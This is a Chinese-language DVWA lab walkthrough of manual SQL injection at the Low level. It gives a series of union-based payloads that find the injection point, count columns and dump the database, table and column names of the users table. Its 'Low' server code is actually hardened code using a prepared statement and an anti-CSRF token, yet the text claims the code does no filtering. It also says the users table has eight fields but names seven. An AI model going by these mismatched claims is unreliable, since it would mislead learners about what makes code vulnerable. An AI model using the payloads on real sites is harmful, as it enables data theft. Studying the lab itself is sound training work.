DVWA-SQL注入(SQL Injection)
-
- SQL Injection
-
- 手工注入的思路
- Low
-
- 漏洞利用
-
- 判断是否存在注入,注入式字符型还是数字型
- 猜解SQL查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段
SQL Injection
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的,SQL注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤",尽量如此,SQL注入仍是现在最常见的Web漏洞之一。
手工注入的思路
自动化的注入神器sqlmap固然好用,但是还要掌握一些手工注入的思路,下面是手工注入的步骤(非盲注)
1.判断是否存在注入,注入式字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定现实的字段顺序
4.获取当前的数据库
5.获取数据库中的表
6.获取表中的字段
7.下载数据
Low
服务器端核心代码<?phpif( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {
// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {
// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {
$id}<br />First name: {
$first}<br />Surname: {
$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>
可以看出,LOW级别的代码对来自客户端的参数id没有进行任何的检查和过滤,存在明显的SQL注入
漏洞利用
显示攻击场景下,攻击者是无法看到后端的代码,所以下边的手工注入步骤是建立在无法看到源代码的基础上
判断是否存在注入,注入式字符型还是数字型
1.输入1,显示成功
2.输入1’ and ‘1’ =’ 2,显示失败,没有返回值
3.输入1’ or ‘1234’= ’ 1234,显示成功
返回了多个结果,说明存在字符型注入
猜解SQL查询语句中的字段数
1.输入1’ or 1=1 order by 1 #,查询成功
2.输入1’ or 1=1 order by 2 #,查询成功
3.输入1’ or 1=1 order by 3 #,查询失败
总结:说明执行的SQL查询语句只有两个字段,这里的是First name、Surname
确定显示的字段顺序
输入1’ union select 1,2 #,查询成功:
说明执行的SQL语句为select First name,Surname from 表 where ID=’ id’ …
获取当前数据库
输入1’ union select 1,database() #,查询成功:
说明现在当前的数据库是dvwa。
获取数据库中的表
输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
说明数据库dvwa中有两个表,guestbook和users。
获取表中的字段
输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #,查询成功:
说明users表中有8个字段,分别是user_id,first_name,last_name,password,avatar,last_login,failed_login